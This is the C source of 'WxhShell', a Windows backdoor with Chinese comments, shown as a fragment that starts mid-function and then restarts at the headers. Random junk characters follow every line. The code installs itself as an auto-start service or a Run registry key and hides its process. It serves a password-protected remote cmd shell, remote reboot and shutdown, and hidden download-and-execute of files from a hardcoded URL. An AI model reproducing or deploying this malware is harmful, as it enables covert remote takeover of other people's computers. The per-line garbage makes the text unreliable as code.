    ExitThread(0); X;c'[q  
    } tX %5BTv  
    break; >!1.  
    } Jrpx}2'9:a  
  // 获取shell 25[I=ZdS  
  case 's': { MsGM5(r:b  
    CmdShell(wsh); C"T;Qp~B  
    closesocket(wsh); Nyj( 0W  
    ExitThread(0); ,1CIBFY  
    break; !XCm>]R  
  } xZwLlY  
  // 退出 hUMf"=q+  
  case 'x': { % pd,%pg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z>Wg*sZy)  
    CloseIt(wsh); 4 bH^":i(  
    break; pF Rg?-  
    } y)!5R3b  
  // 离开 $,}E   
  case 'q': { 5VAK:eB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t+iHQfuP9A  
    closesocket(wsh); %H&@^Tt a  
    WSACleanup(); m~d]a$KQ5-  
    exit(1); ~`\?"s:  
    break; |pp*|v1t  
        } sCk?  
  } XkF%.hWo  
  } c+$*$|t=v`  
C$D -Pt"+  
  // 提示信息 ?9\EN|O^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YccH+[X;  
} H'HA+q  
  } q $tUH)0  
9"A`sGZ  
  return; =~H<Z LE+  
} kep/+J-u  
OAkZKG|  
// shell模块句柄 ~h85BF5  
int CmdShell(SOCKET sock) (#RHB`h5  
{ QYjsDL><  
STARTUPINFO si; <Fc;_GG  
ZeroMemory(&si,sizeof(si)); (ECnM ti+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ xh;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LNpup`>`  
PROCESS_INFORMATION ProcessInfo; #32"=MfQn  
char cmdline[]="cmd"; -pGE]nwDL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $#S&QHyEe  
  return 0; P5nO78  
} ]? g@jRs  
?_vakJ )  
// 自身启动模式 2Yn <2U/^R  
int StartFromService(void) DN~nk  
{ D\s WZ  
typedef struct V(6Z3g  
{ /1Q(b  
  DWORD ExitStatus; &c:Ad% z  
  DWORD PebBaseAddress; #( jw!d&  
  DWORD AffinityMask; ,5, !es@`b  
  DWORD BasePriority; E}p&2P+MR  
  ULONG UniqueProcessId; ;1.,Sn+zO  
  ULONG InheritedFromUniqueProcessId; _Khc3Jo  
}   PROCESS_BASIC_INFORMATION; ZUR6n>r  
D.Q=]jOs  
PROCNTQSIP NtQueryInformationProcess; ytoo~n  
ps%q9}J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `t9?=h!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dEA6   
O6/f5  
  HANDLE             hProcess; 4V COKx  
  PROCESS_BASIC_INFORMATION pbi; e<h~o!z a  
K4;'/cS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I}6\Sv=  
  if(NULL == hInst ) return 0; t&CJ% XP  
gy0haW   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vz)`nmO}5\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #Xb+`'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); & <J[Q%2  
WIf0z#JMJm  
  if (!NtQueryInformationProcess) return 0; +W\f(/q0  
Vle@4 ]M\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sq[iY  
  if(!hProcess) return 0; x`mN U  
{{MRELipW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DRgTe&+  
ul2")HL];  
  CloseHandle(hProcess); &twf,8  
"4H +!r}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^Z# W_R\l  
if(hProcess==NULL) return 0; V<@ o<R  
k"]dK,,  
HMODULE hMod; _/!y)&4"  
char procName[255]; /fT+^&  
unsigned long cbNeeded; (+3Wgl+]/  
xAe~]k_D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SNE#0L' }  
0[*qY@m:Z  
  CloseHandle(hProcess); q+]h=:5=I  
^(h+URFpA  
if(strstr(procName,"services")) return 1; // 以服务启动 I*kK 82  
%r6y ;vAf  
  return 0; // 注册表启动 c|62jY"$-2  
} *2Ht &  
rZ^v?4Z\  
// 主模块 I_rO!  
int StartWxhshell(LPSTR lpCmdLine) fCtPu08{Z  
{ \y)  
  SOCKET wsl; J@X'PG< 6B  
BOOL val=TRUE; ";Rtiiu  
  int port=0; $8[r9L!  
  struct sockaddr_in door; }S$@ Ez6  
UE ,t8j  
  if(wscfg.ws_autoins) Install(); x{c/$+Z[  
4NG?_D5&  
port=atoi(lpCmdLine); WRDjh7~Efn  
.Pw\~X3!  
if(port<=0) port=wscfg.ws_port; :!b'Vk  
5<j%EQN|D  
  WSADATA data; FR!? #!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P2'DD 3   
!0C^TCuG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e0@Y#7N62  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SD$h@p=!=  
  door.sin_family = AF_INET; eI:C{0p=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J6G(_(d  
  door.sin_port = htons(port); E7)= `kSl  
_Bp1co85MQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .h5[Q/*h  
closesocket(wsl); .]7Qu;L  
return 1; 09kt[  
} h!:~f-@j4  
hk;7:G  
  if(listen(wsl,2) == INVALID_SOCKET) { (BfgwC)  
closesocket(wsl); /2Bi@syxK  
return 1; ?6jkI2w  
} 'hv k  
  Wxhshell(wsl); qt^T6+faaQ  
  WSACleanup(); i?:_:"^x  
Ox'/` Mppw  
return 0; w MP  
' dx1x6  
} nn9wdt@.]  
&0(  
// 以NT服务方式启动 [.*;6y3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f'{]"^e=  
{ ku a) K!  
DWORD   status = 0; 0}xFD6{X  
  DWORD   specificError = 0xfffffff; ]mXLg:3B  
|7pR)KH3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \Z/)Y;|mi0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]&{ci  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @L:>!<  
  serviceStatus.dwWin32ExitCode     = 0; Kmv+1T0,  
  serviceStatus.dwServiceSpecificExitCode = 0; 9Xo[(h)5d  
  serviceStatus.dwCheckPoint       = 0; zC:wNz@zK  
  serviceStatus.dwWaitHint       = 0; ^e>Wo7r  
dwv6;x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qTo-pA G`  
  if (hServiceStatusHandle==0) return; fH ?ha  
n?urE-_  
status = GetLastError(); >ap1"n9k  
  if (status!=NO_ERROR) J@ktyd(P  
{ Ze3X$%kWi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Bq!4uq\5|  
    serviceStatus.dwCheckPoint       = 0; .rJiyED?!  
    serviceStatus.dwWaitHint       = 0; {; >Q.OX@  
    serviceStatus.dwWin32ExitCode     = status; P7f,OY<@%o  
    serviceStatus.dwServiceSpecificExitCode = specificError; f5==";eP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (V%`k'N7f  
    return; FSb Hn{@  
  } pdEiqLhH  
Z@%HvB7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9bq<GC'eX8  
  serviceStatus.dwCheckPoint       = 0; eD Z8w  
  serviceStatus.dwWaitHint       = 0; 0W()lQ   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `\6?WXk3T  
} 6q6FB  
%F*|;o7s  
// 处理NT服务事件,比如:启动、停止 *d',Vuv&[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }Lw>I94e  
{ c9nH}/I_  
switch(fdwControl) .ol'.t ,S  
{ @ (i!Y L  
case SERVICE_CONTROL_STOP: {?}*1,I  
  serviceStatus.dwWin32ExitCode = 0; *8tI*Pus  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FsGlJ   
  serviceStatus.dwCheckPoint   = 0; 9A7@ 5F  
  serviceStatus.dwWaitHint     = 0; "h7tnMS  
  { h<\_XJJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H<G4O02i_  
  } 3TZ*RPmFRm  
  return; kY&h~Q  
case SERVICE_CONTROL_PAUSE: =@5x"MOz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v^7LctcVm  
  break; EK$Kee}~  
case SERVICE_CONTROL_CONTINUE: vHE^"l5v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K!mOr  
  break; &h,5:u  
case SERVICE_CONTROL_INTERROGATE: ,*@AX>  
  break; NCf"tK'5n  
}; ,xT?mt}P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EIf ~dOgH  
} \OpoBXh  
*I?Eb-!t  
// 标准应用程序主函数 T4;T6 9j;,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @&hnL9D8lL  
{ 45H!;Q sk  
ec|/ /  
// 获取操作系统版本 sfVf@0g  
OsIsNt=GetOsVer(); }Y17*zp%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xyE1Gw`V  
{A o,t+j  
  // 从命令行安装 9lo [&^<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'snYu!`z  
iY bX  
  // 下载执行文件 cubk]~VD  
if(wscfg.ws_downexe) { HOp-P8z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *X38{r j  
  WinExec(wscfg.ws_filenam,SW_HIDE); ='E$-_  
} oQj=;[  
Ij'NC C  
if(!OsIsNt) { KZBrE$@%5  
// 如果时win9x,隐藏进程并且设置为注册表启动 do ^RF<G  
HideProc(); V=:_d,  
StartWxhshell(lpCmdLine); pNE(n4v  
} ~/tKMS6T  
else ? QDWuPhN  
  if(StartFromService()) rB%$;<`/  
  // 以服务方式启动 Ut)r&?  
  StartServiceCtrlDispatcher(DispatchTable); swc@34ei\  
else -6Mm#sX  
  // 普通方式启动 B )JM%r  
  StartWxhshell(lpCmdLine); O;]?gj 1@  
G8Y+w  
return 0; cxYfZ4++m  
} ]> Y/r-!  
?Jtg3AY  
=qvZpB7ZZ  
w h$jr{  
=========================================== dy>|c j  
- n6jG}01b  
RX2{g^V7  
pD@zmCU  
fH8!YQG8$  
&VWlt2-R0h  
" Ld|V^9h1;  
~L+]n0*  
#include <stdio.h> ^Dx#7bsDZR  
#include <string.h> 4rU! 4l  
#include <windows.h> G7* h{nE  
#include <winsock2.h> em]xtya  
#include <winsvc.h> &4$oudn  
#include <urlmon.h> WO,xMfK  
r5/R5Ga^  
#pragma comment (lib, "Ws2_32.lib") u>Ki$xP1  
#pragma comment (lib, "urlmon.lib") tO.$+4a  
swpnuuC-  
#define MAX_USER   100 // 最大客户端连接数 "L2m-e6  
#define BUF_SOCK   200 // sock buffer :a< hQ|p  
#define KEY_BUFF   255 // 输入 buffer } IlP:  
]5v:5:H  
#define REBOOT     0   // 重启 ? 4)v`*  
#define SHUTDOWN   1   // 关机 r[Zq3  
q?~Rnv  
#define DEF_PORT   5000 // 监听端口 3#<* k>1G?  
/ axTh  
#define REG_LEN     16   // 注册表键长度 QlW=_Ymv{  
#define SVC_LEN     80   // NT服务名长度 <kD#SV%"  
s!6=|SS7  
// 从dll定义API p#_[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `!w^0kZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 04 y!\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CM~MoV[k7e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LI:T c7t  
Kv+Bfh  
// wxhshell配置信息 e4qj .b  
struct WSCFG { ibF#$&!  
  int ws_port;         // 监听端口 En9R>A;`  
  char ws_passstr[REG_LEN]; // 口令 LBX%HGH  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wtv#h~jy9  
  char ws_regname[REG_LEN]; // 注册表键名 `% E9xcD%  
  char ws_svcname[REG_LEN]; // 服务名 pX<a2F P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S>ugRasZ$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vf{2dZZ{1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '.p? 6k!K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BQjam+u6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &P n]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z|`fHO3j  
=%h~/,  
}; S]yvMj_?  
#Mi|IwL  
// default Wxhshell configuration {~GR8 U  
struct WSCFG wscfg={DEF_PORT, WaYO1*=  
    "xuhuanlingzhe", FWTx&Ip  
    1, 1| xN%27>  
    "Wxhshell", |ft:|/^F&  
    "Wxhshell", 2;N@aZX  
            "WxhShell Service", d~[UXQC  
    "Wrsky Windows CmdShell Service", 9!t4>  
    "Please Input Your Password: ", !O\X+#j  
  1, t>U!Zal"  
  "http://www.wrsky.com/wxhshell.exe", gEKO128  
  "Wxhshell.exe" qB JRS'6'9  
    }; sA_X<>vAKJ  
kQ}s/*  
// 消息定义模块 +?e}<#vd'?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &LU'.jY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H%Y%fQ ~^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dB`b9)Tk0z  
char *msg_ws_ext="\n\rExit."; YMAQ+A!  
char *msg_ws_end="\n\rQuit."; ^"tqdeCb=  
char *msg_ws_boot="\n\rReboot..."; I>((o`  
char *msg_ws_poff="\n\rShutdown..."; 98<zCSe\]  
char *msg_ws_down="\n\rSave to "; C.E[6$oVc  
oO:LG%q  
char *msg_ws_err="\n\rErr!"; b|E/LKa  
char *msg_ws_ok="\n\rOK!"; caD5Pod4  
zPQ$\$7xB  
char ExeFile[MAX_PATH]; W#45a.v  
int nUser = 0;  6`"ZsO  
HANDLE handles[MAX_USER]; 4!2SS  
int OsIsNt; *o|p)lH  
sfC@*Y2XT  
SERVICE_STATUS       serviceStatus; ;Prg'R[o;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tQ0=p| T]  
q)Je.6$#X  
// 函数声明 \Ut S>4w\  
int Install(void); l%bq2,-%  
int Uninstall(void); fNEz  
int DownloadFile(char *sURL, SOCKET wsh); |E|T%i^}./  
int Boot(int flag); /'Bdq?!B&  
void HideProc(void); /\~W$.c  
int GetOsVer(void); M,L@k  
int Wxhshell(SOCKET wsl); 3*\8p6G  
void TalkWithClient(void *cs); i;HH ! TaN  
int CmdShell(SOCKET sock); t~~r-V":  
int StartFromService(void); kGj]i@(PA4  
int StartWxhshell(LPSTR lpCmdLine); o*)@oU  
g*r/u;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); STp!8mL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5V rcR=?O  
W^ClHQ"Iy  
// 数据结构和表定义 t>@yv#  
SERVICE_TABLE_ENTRY DispatchTable[] = D'?]yyrf  
{ \I xzdFF#  
{wscfg.ws_svcname, NTServiceMain}, Wy,"cT  
{NULL, NULL} w#d} TY  
}; 165WO}(;/  
2HVCXegq  
// 自我安装 D`fc7m  
int Install(void) Wbs^(iUU}  
{ 9!S^^;PN&  
  char svExeFile[MAX_PATH]; Deog4Ol"/  
  HKEY key; cqHw^{'8  
  strcpy(svExeFile,ExeFile); vK`S!7x'&  
I tgH>L'  
// 如果是win9x系统,修改注册表设为自启动 Qf~| S9,  
if(!OsIsNt) { ]kH}lr yG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;<VR2U`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); intvlki]be  
  RegCloseKey(key); |N6mTB2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 67,3i~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m^c%]5$  
  RegCloseKey(key); }*OD M6  
  return 0; %)dI2 J^Xf  
    } I &cX8Tw  
  } e Ri!\Fx  
} ,iohfZz  
else { hF9B?@n?B  
1 S^'C2/b  
// 如果是NT以上系统,安装为系统服务 ,^M]yr*~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q{`@ G"'  
if (schSCManager!=0) ]uJM6QuQ  
{ s V&`0N  
  SC_HANDLE schService = CreateService &8juS,b  
  ( 78^Y;2 P]W  
  schSCManager, l4DeX\ly7f  
  wscfg.ws_svcname, w8U2y/:>  
  wscfg.ws_svcdisp, <xC: Ant  
  SERVICE_ALL_ACCESS, Fv;u1Atiw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vFR 1UPF  
  SERVICE_AUTO_START, 4g S[D  
  SERVICE_ERROR_NORMAL, 7!mJhgGc  
  svExeFile, 9c:5t'Qt5.  
  NULL, I S.F  
  NULL, - =yTAx  
  NULL, wiKCr/  
  NULL, \v.HG] /u  
  NULL _82<| NN:  
  ); D@2Ya/c  
  if (schService!=0) ^CO#QnB @  
  { kaV%0Of]  
  CloseServiceHandle(schService); mMga"I9  
  CloseServiceHandle(schSCManager); MyK^i2eD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -Zttj/K  
  strcat(svExeFile,wscfg.ws_svcname); IOn`cbV:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %~ ;nlDw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kA1f[ AL  
  RegCloseKey(key); ,7QBJ_-;QJ  
  return 0; Q1K"%  
    } B<rPvM7a  
  } XlE$.  
  CloseServiceHandle(schSCManager); osI- o~#>  
} 5X0_+DdeL  
} u2f `|+1^y  
bbM4A! N  
return 1; .Y+mwvLpRG  
} \-DM-NrZ1U  
sTJJE3TBI  
// 自我卸载 1 VPg`+o  
int Uninstall(void) U<1}I.hDJ  
{ +'!h-x1y~  
  HKEY key; t- !h X/  
p<<6}3~  
if(!OsIsNt) { iJ5e1R8tN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UeFtzty,a  
  RegDeleteValue(key,wscfg.ws_regname); +k# mvPq  
  RegCloseKey(key); 27}.s0{D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4u7c7K>\Y  
  RegDeleteValue(key,wscfg.ws_regname); m>g}IX&K'  
  RegCloseKey(key); o:p{^D@#k  
  return 0; Qf/j:  
  } Jv-zB]3&  
} 2pVVoZV.<  
} =]8f"wAh*  
else { fp`U?S6  
n5/ZJur  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1x^W'n,HtK  
if (schSCManager!=0) 7 3H@kf  
{ dO Y lI`4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E!r4AjaC  
  if (schService!=0) Fmy1nZ   
  { ABd153oW"  
  if(DeleteService(schService)!=0) { 8JQ<LrIt9  
  CloseServiceHandle(schService); }M;sz  
  CloseServiceHandle(schSCManager); X`8Y[Vb3}  
  return 0; h#$ _<U  
  } M80}3mgP~  
  CloseServiceHandle(schService); _Y}^%eFw  
  } ?z*W8b]'  
  CloseServiceHandle(schSCManager); j 8~Gv=(h  
} Y}eZPG.h  
} <FMuWHY  
,C5@ P+A  
return 1; eh8<?(eK  
} @B}&62T  
o{s4.LKK  
// 从指定url下载文件 W\d0  
int DownloadFile(char *sURL, SOCKET wsh) ^XjvJa  
{ #JX|S'\x  
  HRESULT hr; ;,[EJR^CI  
char seps[]= "/"; %D%e:se  
char *token; ua6*zop  
char *file; PW(_yB;  
char myURL[MAX_PATH]; ?S;et2f  
char myFILE[MAX_PATH]; h8Dtq5t4  
?h>(&H jWV  
strcpy(myURL,sURL); Gl3 `e&7  
  token=strtok(myURL,seps); ee__3>H"/  
  while(token!=NULL) $i5G7b  
  { s.k`];wo  
    file=token; _rWTw+ L  
  token=strtok(NULL,seps); x`j_d:C~G  
  } AmUe0CQ:k'  
K6 PC&+x  
GetCurrentDirectory(MAX_PATH,myFILE); 8trm`?>  
strcat(myFILE, "\\"); bCe[nmE2  
strcat(myFILE, file); oW\Q>c7 =  
  send(wsh,myFILE,strlen(myFILE),0); x3:ZB  
send(wsh,"...",3,0); #,Fx@3y\a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _.s\qQ  
  if(hr==S_OK) 72B zvY.  
return 0; #UP,;W  
else b*$o[wO9  
return 1; .pNq-T  
&**.naSo  
} i&AXPq>`  
jb6ZAT<8  
// 系统电源模块 06j)P6Iju  
int Boot(int flag) DVeF(Y3&  
{ @Reh?]# v  
  HANDLE hToken; $P1d#;rb%  
  TOKEN_PRIVILEGES tkp; -v/?>  
AmrJ_YP/t~  
  if(OsIsNt) { |\{J` 5gr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {/,+_E/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wE.@0  
    tkp.PrivilegeCount = 1; [{Klv&>_/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `rRg(fCN!M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k -t,y|N  
if(flag==REBOOT) { .WPuQZ!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )Uoe ~\  
  return 0; /Wta$!X{-  
} pB{ f-M:D  
else { o 2$<>1^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d<^6hF  
  return 0; 8?]%Q i   
} =-#iXP@  
  } _cnrGi}T  
  else { 1&x0+~G  
if(flag==REBOOT) { %'p|JS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sd/d [  
  return 0; LqH?3):  
} &nY2u-Q  
else { !'UsC6Y4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Iclan\q#y  
  return 0; 'TEwU0<%  
} .Jnp{Tet  
} 3k|~tVM  
PhaQ3%  
return 1; %%H. &*i,  
} itvy[b-*  
kk>0XPk  
// win9x进程隐藏模块 M KE[Yb?  
void HideProc(void) <=LsloI  
{ 8~XI7g'5x  
{pi67"mYp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B3i=pcef  
  if ( hKernel != NULL ) q'U-{~q%  
  { H#d! `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w2mlqy2L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1QdB`8in  
    FreeLibrary(hKernel); .bl/At3A  
  }  Q-3J0=  
}F9?*2\/  
return; #)c;i<Q3S  
} trNK9@wT)  
-_H2FlB  
// 获取操作系统版本 ?R~Ye  
int GetOsVer(void) yW7S }I  
{ Y)-)NLLG;n  
  OSVERSIONINFO winfo; P+ h<{%:*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `5aypJf 1  
  GetVersionEx(&winfo); eWt>^]H~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E*#60z7F  
  return 1; "NI>HO.U  
  else SGT-B.  
  return 0; "}Sid+)<  
} f0s<Y  
^IegR>  
// 客户端句柄模块 OA5md9P;d  
int Wxhshell(SOCKET wsl) T;vPR,]rz  
{ &JzF   
  SOCKET wsh; k>@^M]%  
  struct sockaddr_in client; MyS7AL   
  DWORD myID; lKD<  
mf_ 9O  
  while(nUser<MAX_USER) H0Gp mKYW  
{ "7u"d4h-:(  
  int nSize=sizeof(client); X0J]6|du.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TuhL :  
  if(wsh==INVALID_SOCKET) return 1; n"VE!`B  
;@UX7NA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x>/@Z6Wxz  
if(handles[nUser]==0) p!5JO4F$  
  closesocket(wsh); OKH~Y-%<  
else InGbV+ I  
  nUser++; lb XkZ,  
  } Z.#glmw^=R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G"R>aw  
`x^,k% :4  
  return 0; 6xQe!d3>s3  
} fP4IOlHkE  
a5g{.:NfO  
// 关闭 socket RwLdV+2\R`  
void CloseIt(SOCKET wsh) ^oZs&+z  
{ L,ey3i7a\  
closesocket(wsh); 61;5Yo  
nUser--; Z["nY&.sI  
ExitThread(0); ~5?n&pF  
} i!-sbwd7  
,Onm!LI=  
// 客户端请求句柄 lfG&V +S1  
void TalkWithClient(void *cs) gKH"f%lK  
{ GHrT?zEX  
,oVBgCf  
  SOCKET wsh=(SOCKET)cs; S:T>oFUot  
  char pwd[SVC_LEN]; n`2"(7Wj  
  char cmd[KEY_BUFF]; Y:Tt$EQ  
char chr[1]; Bc ,z]  
int i,j; N= q29JU  
?26[%%  
  while (nUser < MAX_USER) { 3cQmxp2*  
G U/k^ Qy  
if(wscfg.ws_passstr) { Ji?UG@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4o8HEq!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M L_J<|,J  
  //ZeroMemory(pwd,KEY_BUFF); ;SP3nU))  
      i=0; 8o!^ZOmU<  
  while(i<SVC_LEN) { y#W8] <dS"  
:fQ*'m,  
  // 设置超时 ~./u0E  
  fd_set FdRead; I z@x^s  
  struct timeval TimeOut; FnU;n  
  FD_ZERO(&FdRead); fmyS# 6"  
  FD_SET(wsh,&FdRead); dfd%A" I  
  TimeOut.tv_sec=8; B{u.Yc:  
  TimeOut.tv_usec=0; F?4'>ZW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *qOCo_=P8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;a77YL TQ  
&3/H P)*<]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f }e7g d]M  
  pwd=chr[0]; *wx^mB9  
  if(chr[0]==0xd || chr[0]==0xa) { +Rd{ ?)2~  
  pwd=0; 25KZe s)  
  break; U?C{.@#w  
  } fxa^SV   
  i++; / 1GZN *I  
    } FAGVpO[  
U9OF0=g  
  // 如果是非法用户,关闭 socket c8W=Is`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;]ew>P)  
} FCAu%lvZT  
AV`7> @  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ !vbX mb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T8oASg!  
Za?&\  
while(1) { xef7mx  
,4$J|^T&  
  ZeroMemory(cmd,KEY_BUFF); CK#PxT?"  
AY erz  
      // 自动支持客户端 telnet标准   &^>r<~]  
  j=0; QrA+W\=_`y  
  while(j<KEY_BUFF) { sZ$ ~abX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8=Ht+Br  
  cmd[j]=chr[0]; \OB3gnR  
  if(chr[0]==0xa || chr[0]==0xd) { 6g&nnA  
  cmd[j]=0; Q&;qFv5-l  
  break; Q:=/d$*xd  
  } k9?+9bExXA  
  j++; 40ZB;j$l  
    } pr?(5{BL  
9(]j e4Cn  
  // 下载文件 P;[mw(  
  if(strstr(cmd,"http://")) { 4h(Hy&1C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hQeZI+  
  if(DownloadFile(cmd,wsh)) ?uv%E*TU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2F]MzeW  
  else s o s&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 34+}u,=  
  } l"#,O$x"#@  
  else { iDN,}:<V  
)2hoO_l:  
    switch(cmd[0]) { wkw/AZ{27  
  tam/FzVw  
  // 帮助 wxrT(x|  
  case '?': { Reo0ZU>  
